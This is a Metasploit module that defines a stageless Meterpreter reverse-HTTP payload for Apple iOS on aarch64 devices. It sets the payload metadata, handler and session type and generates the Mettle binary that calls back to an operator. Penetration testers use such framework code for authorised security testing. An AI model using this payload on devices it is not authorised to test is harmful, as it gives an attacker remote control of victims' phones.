##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# Module generated by tools/modules/generate_mettle_payloads.rb
module MetasploitModule
  CachedSize = 861968

  include Msf::Payload::Single
  include Msf::Sessions::MeterpreterOptions::AppleIos
  include Msf::Sessions::MettleConfig

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apple_iOS Meterpreter, Reverse HTTP Inline',
        'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
        'Author' => [
          'Adam Cammack <adam_cammack[at]rapid7.com>',
          'Brent Cook <brent_cook[at]rapid7.com>',
          'timwr'
        ],
        'Platform' => 'apple_ios',
        'Arch' => ARCH_AARCH64,
        'License' => MSF_LICENSE,
        'Handler' => Msf::Handler::ReverseHttp,
        'Session' => Msf::Sessions::Meterpreter_aarch64_Apple_iOS
      )
    )
  end

  def generate(_opts = {})
    opts = {
      scheme: 'http',
      stageless: true
    }.merge(mettle_logging_config)
    MetasploitPayloads::Mettle.new('aarch64-iphone-darwin', generate_config(opts)).to_binary :exec
  end
end
